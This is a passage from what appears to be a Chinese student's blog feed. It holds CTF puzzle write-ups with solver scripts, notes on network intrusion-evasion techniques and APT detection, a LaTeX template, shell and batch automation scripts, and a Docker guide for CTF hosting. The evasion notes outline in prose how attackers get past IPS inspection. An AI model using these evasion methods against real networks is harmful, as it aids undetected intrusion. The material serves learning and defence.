class="keyword">if</span> <span class="built_in">map</span>[pos][i] == <span class="number">1</span>:</span><br><span class="line"> <span class="built_in">map</span>[pos][i] = <span class="number">0</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">map</span>[pos][i] = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">change_col</span>(<span class="params"><span class="built_in">map</span>, pos, n</span>): <span class="comment">#用处不大,只是方便我检查</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, n):</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">map</span>[i][pos] == <span class="number">1</span>:</span><br><span class="line"> <span class="built_in">map</span>[i][pos] = <span class="number">0</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">map</span>[i][pos] = <span class="number">1</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show_map</span>(<span class="params"><span class="built_in">map</span>, n</span>): <span class="comment">#用处不大,只是方便我检查</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, n):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, n):</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">map</span>[i][j] == <span class="number">1</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"⬜"</span>, end=<span class="string">" "</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"⬛"</span>, end=<span class="string">" "</span>)</span><br><span class="line"> <span class="built_in">print</span>()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">count</span>(<span class="params"><span class="built_in">map</span></span>):</span><br><span class="line"> count = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> row <span class="keyword">in</span> <span class="built_in">map</span>:</span><br><span class="line"> <span class="keyword">for</span> col <span class="keyword">in</span> row:</span><br><span class="line"> <span class="keyword">if</span> col == <span class="number">1</span>:</span><br><span class="line"> count += <span class="number">1</span></span><br><span class="line"> SIZE = <span class="built_in">len</span>(<span class="built_in">map</span>)</span><br><span class="line"> <span class="keyword">return</span> count <span class="keyword">if</span> count < SIZE * SIZE - count <span class="keyword">else</span> SIZE * SIZE - count</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">tryflip</span>(<span class="params"><span class="built_in">map</span></span>):</span><br><span class="line"> SIZE = <span class="built_in">len</span>(<span class="built_in">map</span>)</span><br><span class="line"> combinations = [combo <span class="keyword">for</span> r <span class="keyword">in</span> <span class="built_in">range</span>(SIZE) <span class="keyword">for</span> combo <span class="keyword">in</span> itertools.combinations(<span class="built_in">range</span>(SIZE), r)]</span><br><span class="line"> pnt_count = SIZE * SIZE//<span class="number">2</span></span><br><span class="line"> temp_map = <span class="built_in">map</span></span><br><span class="line"> final_map = temp_map</span><br><span class="line"> <span class="keyword">for</span> combo_r <span class="keyword">in</span> combinations:</span><br><span class="line"> <span class="keyword">for</span> r <span class="keyword">in</span> combo_r:</span><br><span class="line"> change_row(temp_map, r, SIZE)</span><br><span class="line"> <span class="keyword">for</span> combo_c <span class="keyword">in</span> combinations:</span><br><span class="line"> <span class="keyword">for</span> c <span class="keyword">in</span> combo_c:</span><br><span class="line"> change_col(temp_map, c, SIZE)</span><br><span class="line"> now_count = count(temp_map)</span><br><span class="line"> <span class="comment">#print(now_count)</span></span><br><span class="line"> <span class="keyword">if</span> now_count < pnt_count:</span><br><span class="line"> pnt_count = now_count</span><br><span class="line"> final_map = [items[:] <span class="keyword">for</span> items <span class="keyword">in</span> temp_map[:] ]</span><br><span class="line"> <span class="comment">#show_map(final_map, SIZE)</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="built_in">print</span>(pnt_count)</span><br><span class="line"> <span class="built_in">print</span>(final_map)</span><br><span class="line"> num=<span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> final_map:</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> i:</span><br><span class="line"> <span class="keyword">if</span> j ==<span class="number">0</span>:</span><br><span class="line"> num=num+<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> num=num-<span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> num ><span class="number">0</span>:</span><br><span class="line"> <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(SIZE):</span><br><span class="line"> <span class="keyword">for</span> n <span class="keyword">in</span> <span class="built_in">range</span>(SIZE):</span><br><span class="line"> <span class="keyword">if</span> final_map[m][n] == <span class="number">1</span>:</span><br><span class="line"> solution=<span class="string">f'<span class="subst">{m+<span class="number">1</span>}</span> <span class="subst">{n+<span class="number">1</span>}</span>'</span></span><br><span class="line"> <span class="built_in">print</span>(solution)</span><br><span class="line"> io.sendline(<span class="built_in">bytes</span>(solution.encode()))</span><br><span class="line"> io.recvuntil(<span class="string">'纵坐标:'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(SIZE):</span><br><span class="line"> <span class="keyword">for</span> n <span class="keyword">in</span> <span class="built_in">range</span>(SIZE):</span><br><span class="line"> <span class="keyword">if</span> final_map[m][n] == <span class="number">0</span>:</span><br><span class="line"> solution = <span class="string">f'<span class="subst">{m + <span class="number">1</span>}</span> <span class="subst">{n + <span class="number">1</span>}</span>'</span></span><br><span class="line"> <span class="built_in">print</span>(solution)</span><br><span class="line"> io.sendline(<span class="built_in">bytes</span>(solution.encode()))</span><br><span class="line"> io.recvuntil(<span class="string">'纵坐标:'</span>)</span><br><span class="line"></span><br><span class="line"> show_map(final_map, SIZE)</span><br><span class="line"><span class="comment">#tryflip(content)</span></span><br><span class="line">a=io.recvuntil(<span class="string">'时间紧任务重\n'</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(a.decode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line"> b = io.recvline()</span><br><span class="line"> <span class="built_in">print</span>(b.decode())</span><br><span class="line"> <span class="built_in">map</span> = <span class="built_in">eval</span>(b.strip().decode())</span><br><span class="line"> tryflip(<span class="built_in">map</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Success!\n'</span>)</span><br><span class="line"></span><br><span class="line">final = io.recv()</span><br><span class="line"><span class="built_in">print</span>(final.decode())</span><br></pre></td></tr></table></figure><h1 id="hilbert_peano">Hilbert_Peano</h1><p>搜索可以发现这个标题代表一种分形几何,结合图片可以看到对应这一种</p><p><img src="https://s2.loli.net/2024/04/14/Ku6ErsAfdHLIJO5.webp" alt="v2-09e573518a0d016f866fa04cc0be8a0d_1440w.webp" /></p><p>然后编写脚本将图片的像素按照这种曲线的路径取出来再按从左到右从上到下的顺序排列成新的图片就行</p><p>官方exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Hilbert</span>(<span class="params">n</span>): <span class="comment">#生成曲线对应的坐标路径</span></span><br><span class="line"> <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> [[<span class="number">0</span>, <span class="number">0</span>]]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> in_lst = Hilbert(n - <span class="number">1</span>)</span><br><span class="line"> lst = [[i[<span class="number">1</span>], i[<span class="number">0</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst]</span><br><span class="line"> px, py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px, py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + <span class="number">1</span> + i[<span class="number">0</span>], py + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px, py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px - i[<span class="number">1</span>], py - <span class="number">1</span> - i[<span class="number">0</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> <span class="keyword">return</span> lst</span><br><span class="line"> </span><br><span class="line">order = Hilbert(<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">img = Image.<span class="built_in">open</span>(<span class="string">r"C:\Users\ASUSROG\Desktop\TRY\Hilbert_Peano.jpg"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode</span>(<span class="params">img</span>):</span><br><span class="line"> width, height = img.size</span><br><span class="line"></span><br><span class="line"> new_image = Image.new(<span class="string">"RGB"</span>, (width, height))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i, (x, y) <span class="keyword">in</span> tqdm(<span class="built_in">enumerate</span>(order)):</span><br><span class="line"> <span class="comment"># 根据列表顺序获取新的坐标</span></span><br><span class="line"> new_x, new_y = i % width, i // width</span><br><span class="line"> <span class="comment"># 获取原图像素</span></span><br><span class="line"> pixel = img.getpixel((x, height - <span class="number">1</span> - y))</span><br><span class="line"> <span class="comment"># 在新图像中放置像素</span></span><br><span class="line"> new_image.putpixel((new_x, new_y), pixel)</span><br><span class="line"></span><br><span class="line"> new_image.save(<span class="string">"rearranged_image.jpg"</span>) </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encode</span>(<span class="params">img</span>):</span><br><span class="line"> width, height = img.size</span><br><span class="line"></span><br><span class="line"> new_image = Image.new(<span class="string">"RGB"</span>, (width, height))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i, (x, y) <span class="keyword">in</span> tqdm(<span class="built_in">enumerate</span>(order)):</span><br><span class="line"> <span class="comment"># 根据列表顺序获取新的坐标</span></span><br><span class="line"> new_x, new_y = i % width, i // width</span><br><span class="line"> <span class="comment"># 获取原图像素</span></span><br><span class="line"> pixel = img.getpixel((new_x, new_y))</span><br><span class="line"> <span class="comment"># 在新图像中放置像素</span></span><br><span class="line"> new_image.putpixel((x, height - <span class="number">1</span> - y), pixel)</span><br><span class="line"></span><br><span class="line"> new_image.save(<span class="string">"rearranged_image.jpg"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#encode(img)</span></span><br><span class="line"></span><br><span class="line">decode(img)</span><br></pre></td></tr></table></figure><p>最终得到结果:</p><p><img src="https://s2.loli.net/2024/04/14/CdfVcBabsiWg2he.jpg" alt="rearranged_image.jpg" /></p><blockquote><p>最终只有一人欣赏到绫波的微笑😭😭😭</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>VAV-project</title>
<link href="/2024/04/06/VAV-project/"/>
<url>/2024/04/06/VAV-project/</url>
<content type="html"><![CDATA[<h3 id="学习入侵躲避技术理解aet">学习入侵躲避技术—理解AET</h3><h4 id="概念">概念</h4><ul><li>入侵过程中躲避网络的安全检查</li><li>入侵成功后躲避主机的安全检查</li></ul><h4 id="躲避技术的分类">躲避技术的分类</h4><ul><li>网络躲避技术<ul><li><strong>单向躲避:</strong> 目标点没有接应,主机能正常理解。一般用于入侵过程中</li><li><strong>双向躲避:</strong> 目标点有接应,接应者负责理解,一般用于入侵成功后</li></ul></li><li>主机躲避技术</li></ul><h4 id="常见网络躲避技术">常见网络躲避技术</h4><ul><li>字符变换:将传输的内容变成检查者不认识的“外文”,就容易蒙混过关</li><li>协议组合:由于IPS与目标主机解析协议的处理方式不同,就可以利用这一点躲避IPS的特征检查,同时又可以达到攻击的目的;</li><li>传输加密:目标不能解析的话就不能完成入侵过程,所以一般用于入侵成功后</li><li>重叠分片技术:在第一个分片之后添加随机的数据将分片二的病毒数据覆盖掉,这样IPS就无法检测到病毒数据。这要求IPS的协议向前检查,主机的协议向后检查。</li><li>多线程躲避技术:将数据分成多个线程传输,这样IPS就无法检测到数据的完整性。这要求IPS的协议向前检查,主机的协议向后检查。</li></ul><h3 id="apt攻击检测与反制技术体系的研究">APT攻击检测与反制技术体系的研究</h3><h4 id="apt的生命周期">APT的生命周期</h4><p>侦察跟踪阶段>武器构建阶段>载荷投递阶段>漏洞利用阶段>安装植入阶段>命令与控制阶段</p><p>1、2阶段没有有效防御手段,意义也不大,3、4阶段攻击初步暴露,是防御的理想阶段,6阶段检测难度低,但是攻击和防御的代价大。防御方案集中在4、5、6阶段</p><ul><li>4个难题:渗透防护脆弱;检测精度低;攻击取证困难;对新型攻击响应慢</li><li>3项技术:系统防渗透技术;动态变形攻击模型与检测技术;攻击溯源与反制技术</li></ul><h4 id="apt攻击检测与溯源反制技术路线">APT攻击检测与溯源反制技术路线</h4><ul><li>系统防渗透技术<ul><li>虚拟执行分析检测:这种检测技术是通过在虚拟环境中执行检测,基于运动行为是否发生判定攻击。</li><li>异常流量检测:通过检测网络流量的异常行为,判断是否有攻击行为。</li><li>基于流量和深度内容的检测:对全流量进行审计和对内容进行深度分析,并对异常行为进行识别。</li><li>事件回溯和关联分析:发现可疑对象后,利用快速查找的方式对具有同样身份对象参与的事件进行回溯,查找是否存在其他可疑记录,并将这些可疑记录进行关联分析。</li></ul></li><li>动态变化攻击模型与检测机制:建立模型用于未知类型的攻击检测以及可能的攻击路径预测。</li><li>攻击溯源与反制技术:防御检测方通过对攻击事件链条中各个环节的线索信息,最终可以定位到被攻击目标、攻击行为、攻击路径、攻击参与者甚至最终的攻击幕后发起者。</li></ul><h4 id="apt整体防御方案">APT整体防御方案</h4><ol><li>恶意代码检测类方案:集中在未知恶意代码的表象特征和未知行为特征的自适应技术方面。大部分的工程方案采取了攻击者思维建模的方法来进行加权及动态加权的方式来检测假定动作</li><li>主机应用保护类方案:重点不在于分析对手,而将重点置于自身系统资产的保护方面。</li><li>网络入侵检测方案:集中在防火墙策略、网络入侵检测策略集等技术类别。但随着近年来越来越多的APT攻击引入了密码学协议和多通道技术,网络层的攻击检测开始向控制通道、僵尸网络Command&Control协议及网络协议漏洞攻击等方面倾斜发展。</li><li>大数据分析检测方案:利用了APT攻击周期长的弱点,在漫长的试探性攻击中存在较多被取证痕迹的可能。</li></ol>]]></content>
<tags>
<tag> VAV </tag>
<tag> c2 </tag>
</tags>
</entry>
<entry>
<title>SDU-Latex-Template-for-Document</title>
<link href="/2024/03/26/SDU-Latex-Template-for-Document/"/>
<url>/2024/03/26/SDU-Latex-Template-for-Document/</url>
<content type="html"><![CDATA[<h1 id="sdu-latex-template-for-document">SDU-Latex-Template-for-Document</h1><p>A Latex template for document</p><h2 id="it-has-two-kinds-of-cover-one-is-for-single-task-the-other-is-for-group-task">It has two kinds of cover, one is for single task, the other is for group task.</h2><p><img src="https://s2.loli.net/2024/03/26/rdULI61Hp8thzWF.jpg" alt="SDU-template-图片-1.jpg" /></p><p><img src="https://s2.loli.net/2024/03/26/vBHXuCjqQfnWDeE.jpg" alt="SDU-template-图片-2.jpg" /></p><h2 id="it-can-hightlight-the-code-and-support-the-mathjax">It can hightlight the code, and support the mathjax.</h2><p><img src="https://s2.loli.net/2024/03/26/EjJkSHLx2YUPv9b.jpg" alt="SDU-template-图片-21.jpg" /></p><h2 id="it-includes-some-basic-usage-of-latex-enough-for-a-document">It includes some basic usage of Latex, enough for a document.</h2><p><img src="https://s2.loli.net/2024/03/26/pVkuHzfsn81K9Ol.jpg" alt="SDU-template-图片-4.jpg" /></p><h2 id="it-is-highly-personalized">It is highly personalized</h2><p><img src="https://s2.loli.net/2024/03/26/7LUFne6WlRIxzKo.jpg" alt="SDU-template-图片-26.jpg" /></p><h2 id="always-welcome-to-use-it-and-if-you-have-any-question-please-contact-me-or-create-an-issues-or-you-can-fork-it-and-make-it-better-as-well-if-you-like-it-please-give-me-a-star-thanks">Always welcome to use it and if you have any question, please contact me or create an issues. Or you can fork it and make it better as well. If you like it, please give me a star⭐. Thanks😘.</h2>]]></content>
<tags>
<tag> latex </tag>
</tags>
</entry>
<entry>
<title>Arch_Random_welcome</title>
<link href="/2024/03/15/Arch-Random-welcome/"/>
<url>/2024/03/15/Arch-Random-welcome/</url>
<content type="html"><![CDATA[<p>先看效果:<br /><img src="https://i0.imgs.ovh/2024/03/13/cxNUu.png" alt="cxNUu.png" /><br /><img src="https://i0.imgs.ovh/2024/03/13/cxvPl.png" alt="cxvPl.png" /></p><p>想让终端更有活力?为何不给你的终端添加一点随机彩虹🌈欢迎词?</p><p>步骤很简单</p><ul><li>安装lolcat<ul><li><code>sudo pacman -S lolcat</code></li></ul></li><li>创建用来储存欢迎语的文档,并在里面添加你想要的欢迎语,用空行区分<ul><li><img src="https://i0.imgs.ovh/2024/03/13/cKCeK.png" alt="cKCeK.png" /></li></ul></li><li>然后在你的<code>~/.zshrc</code>文件或者<code>~/.bashrc</code>中加入以下脚本(取决于你用zsh还是bash)</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置函数从文件中随机选择ASCII艺术画并显示</span></span><br><span class="line"><span class="function"><span class="title">show_random_ascii_art</span></span>() {</span><br><span class="line"> <span class="built_in">local</span> art_file=<span class="string">"这里是你欢迎语文档的路径"</span></span><br><span class="line"> <span class="built_in">local</span> art_array=()</span><br><span class="line"> <span class="built_in">local</span> art</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 从文件中读取ASCII艺术画到数组中</span></span><br><span class="line"> <span class="keyword">while</span> IFS= <span class="built_in">read</span> -r line || [[ -n <span class="string">"<span class="variable">$line</span>"</span> ]]; <span class="keyword">do</span></span><br><span class="line"> <span class="keyword">if</span> [[ -n <span class="string">"<span class="variable">$line</span>"</span> ]]; <span class="keyword">then</span></span><br><span class="line"> art+=<span class="string">"\n<span class="variable">$line</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> art_array+=(<span class="string">"<span class="variable">$art</span>"</span>)</span><br><span class="line"> art=<span class="string">""</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">done</span> < <span class="string">"<span class="variable">$art_file</span>"</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 从数组中随机选择一个ASCII艺术画并显示</span></span><br><span class="line"> <span class="built_in">local</span> random_index=$(( RANDOM % <span class="variable">${#art_array[@]}</span> ))</span><br><span class="line"> <span class="built_in">echo</span> -e <span class="string">"<span class="variable">${art_array[$random_index]}</span>"</span> | lolcat</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在启动时显示随机选择的ASCII艺术画</span></span><br><span class="line">show_random_ascii_art</span><br></pre></td></tr></table></figure><p>然后每次开启终端的时候就会有随机的欢迎词了!</p><p>我去才发现我welcome少打了个e,算了,不改了,就这样吧,</p>]]></content>
<tags>
<tag> arch </tag>
</tags>
</entry>
<entry>
<title>使用ghcr和wsrx和docker在GZ:CTF中部署动态容器的题目</title>
<link href="/2024/03/01/About-docker/"/>
<url>/2024/03/01/About-docker/</url>
<content type="html"><![CDATA[<p>首先需要Dockerfile那一堆东西这里就不具体阐释了,直接用GitHub写好的项目复制粘贴就行</p><p><a href="https://github.com/CTF-Archives/ctf-docker-template">https://github.com/CTF-Archives/ctf-docker-template</a></p><p>然后需要一个token用来往github里面传packge,这个token是在github的setting里面的developer setting里面的personal access token里面生成的,需要把write package权限打开</p><p>然后打开<a href="ghcr.io">ghcr.io</a>,我们看到以下界面:<br /><img src="https://i0.imgs.ovh/2024/02/29/714yp.png" alt="714yp.png" /></p><p>直接按照里面的操作在终端中依次输入</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">echo</span> <span class="variable">$PAT</span> | docker login ghcr.io --username phanatic --password-stdin</span><br><span class="line"></span><br><span class="line">$ docker tag app ghcr.io/phanatic/app:1.0.0</span><br><span class="line"></span><br><span class="line">$ docker push ghcr.io/phanatic/app:1.0.0</span><br></pre></td></tr></table></figure><p>$PAT是你的token,app是你的项目名,phanatic是你的用户名,1.0.0是你的版本号</p><p>然后会在你的github的packages里面看到你的项目,默认是private的,需要改成public的,直接去packages setting里面改就行</p><p>然后就可以在GZ:CTF里面部署了。在容器镜像里面填写那个ghcr.io开头的地址就行了,但是国内连不太上,把ghcr.io换成ghcr.nju.edu.cn就行了</p><p>然后在容器端口里面填写你的端口号,然后就可以部署了</p><p>大功告成</p>]]></content>
<tags>
<tag> docker </tag>
<tag> WebSocketReflectorX </tag>
<tag> ghcr </tag>
<tag> GZ:CTF </tag>
</tags>
</entry>
<entry>
<title>初尝BAT以及任务计划程序</title>
<link href="/2024/02/25/firstBAT/"/>
<url>/2024/02/25/firstBAT/</url>
<content type="html"><![CDATA[<h1 id="今天你自动了吗">今天你自动了吗</h1><p>桌面上有个文件夹"study_tmp"用来存我的临时学习资料,每隔一段时间都要清理一下,把文件从桌面到D盘对应的文件夹中。好麻烦,所以我想写一个bat脚本并结合任务计划程序来自动化这个工作。</p><p>我的设想是:每个月的一号,自动将源文件夹中的所有文件以及文件夹移动到目标文件夹中。并且将目标文件夹命名为"{上一次运行脚本的日期}to{这一次运行脚本的日期}"。然后编写脚本如下:</p><h2 id="脚本编写">脚本编写</h2><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line"><span class="built_in">set</span> "source_folder=C:\Users\ASUSROG\Desktop\study_tmp"</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 检查源文件夹是否为空</span></span><br><span class="line"><span class="built_in">dir</span> /b "<span class="variable">%source_folder%</span>" | <span class="built_in">findstr</span> "^" ><span class="built_in">nul</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">errorlevel</span> <span class="number">1</span> (</span><br><span class="line"> <span class="built_in">echo</span> Source folder is empty. Exiting...</span><br><span class="line"> <span class="keyword">exit</span> /b</span><br><span class="line">)</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 获取当前日期</span></span><br><span class="line"><span class="keyword">for</span> /f "tokens=<span class="number">2</span> delims==" <span class="variable">%%I</span> <span class="keyword">in</span> ('wmic os get localdatetime /value') <span class="keyword">do</span> <span class="built_in">set</span> "current_datetime=<span class="variable">%%I</span>"</span><br><span class="line"><span class="built_in">set</span> "current_datestamp=<span class="variable">%current_datetime:~0,4%</span><span class="variable">%current_datetime:~4,2%</span><span class="variable">%current_datetime:~6,2%</span>"</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 检查是否存在上一次运行的日期记录文件</span></span><br><span class="line"><span class="built_in">set</span> "date_file=D:\BAT\study_tmp_transport\last_run_date.txt"</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">exist</span> "<span class="variable">%date_file%</span>" (</span><br><span class="line"> <span class="built_in">set</span> /p last_date=<"<span class="variable">%date_file%</span>"</span><br><span class="line">) <span class="keyword">else</span> (</span><br><span class="line"> <span class="built_in">set</span> "last_date="</span><br><span class="line">)</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 设置目标文件夹名称</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">defined</span> last_date (</span><br><span class="line"> <span class="built_in">set</span> "destination_folder=D:\STUDY\<span class="variable">%last_date%</span>to<span class="variable">%current_datestamp%</span>"</span><br><span class="line">) <span class="keyword">else</span> (</span><br><span class="line"> <span class="built_in">set</span> "destination_folder=D:\STUDY\to<span class="variable">%current_datestamp%</span>"</span><br><span class="line">)</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 创建目标文件夹</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> <span class="keyword">exist</span> "<span class="variable">%destination_folder%</span>" (</span><br><span class="line"> <span class="built_in">mkdir</span> "<span class="variable">%destination_folder%</span>"</span><br><span class="line">)</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 使用robocopy移动文件和文件夹到目标文件夹中,并清空源文件夹</span></span><br><span class="line">robocopy "<span class="variable">%source_folder%</span>" "<span class="variable">%destination_folder%</span>" /E /<span class="built_in">MOVE</span> /NFL /NDL /NJH /NJS</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 重新创建源文件夹</span></span><br><span class="line"><span class="built_in">mkdir</span> "<span class="variable">%source_folder%</span>"</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 将当前日期写入日期记录文件</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">%current_datestamp%</span> > "<span class="variable">%date_file%</span>"</span><br></pre></td></tr></table></figure><h2 id="计划任务">计划任务</h2><p>然后在任务计划程序中新建一个任务,每个月的一号运行这个脚本。这样就实现了自动化的目标。</p><ul><li>打开任务计划程序:<ul><li>在 Windows 搜索栏中键入“任务计划程序”,然后点击打开。</li><li>或者,按下 Win + R 组合键打开“运行”对话框,输入 taskschd.msc,然后按 Enter 键。</li></ul></li><li>创建新任务:<ul><li>在任务计划程序中,选择“创建基本任务”或“创建任务”选项,取决于您使用的 Windows 版本。</li></ul></li><li>配置任务设置:<ul><li>在任务创建向导中,输入任务名称和描述,然后点击“下一步”。</li><li>在触发器选项中,选择“月度”触发器,然后点击“下一步”。</li><li>在选择月份和日期页面上,选择每月的1号,然后点击“下一步”。</li></ul></li><li>配置操作:<ul><li>在“选择操作”页面上,选择“启动程序”,然后点击“下一步”。</li><li>在“启动程序”页面上,浏览并选择要运行的批处理脚本文件(.bat 文件),然后点击“下一步”。</li></ul></li><li>完成设置:<ul><li>在“完成”页面上,确保选中“打开属性对话框以编辑此任务的其他属性”复选框,然后点击“完成”。</li></ul></li><li>配置其他属性:<ul><li>在任务属性对话框中,可以设置任务的其他属性,如“安全选项”、“触发器”、“操作”等。可以根据需要进行调整,然后点击“确定”保存更改。</li></ul></li></ul><p>然后就可以了,每个月的一号,任务计划程序会自动运行这个脚本,实现自动化的目标。</p><h1 id="后记">后记</h1><p>我去发现可以把在D盘的文件夹直接创建快捷方式到桌面,这样就不会占桌面的空间了。所以这个脚本就画蛇添足了哎哎</p>]]></content>
<tags>
<tag> bat </tag>
</tags>
</entry>
<entry>
<title>IrisCTF2024</title>
<link href="/2024/01/08/IrisCTF2024/"/>
<url>/2024/01/08/IrisCTF2024/</url>
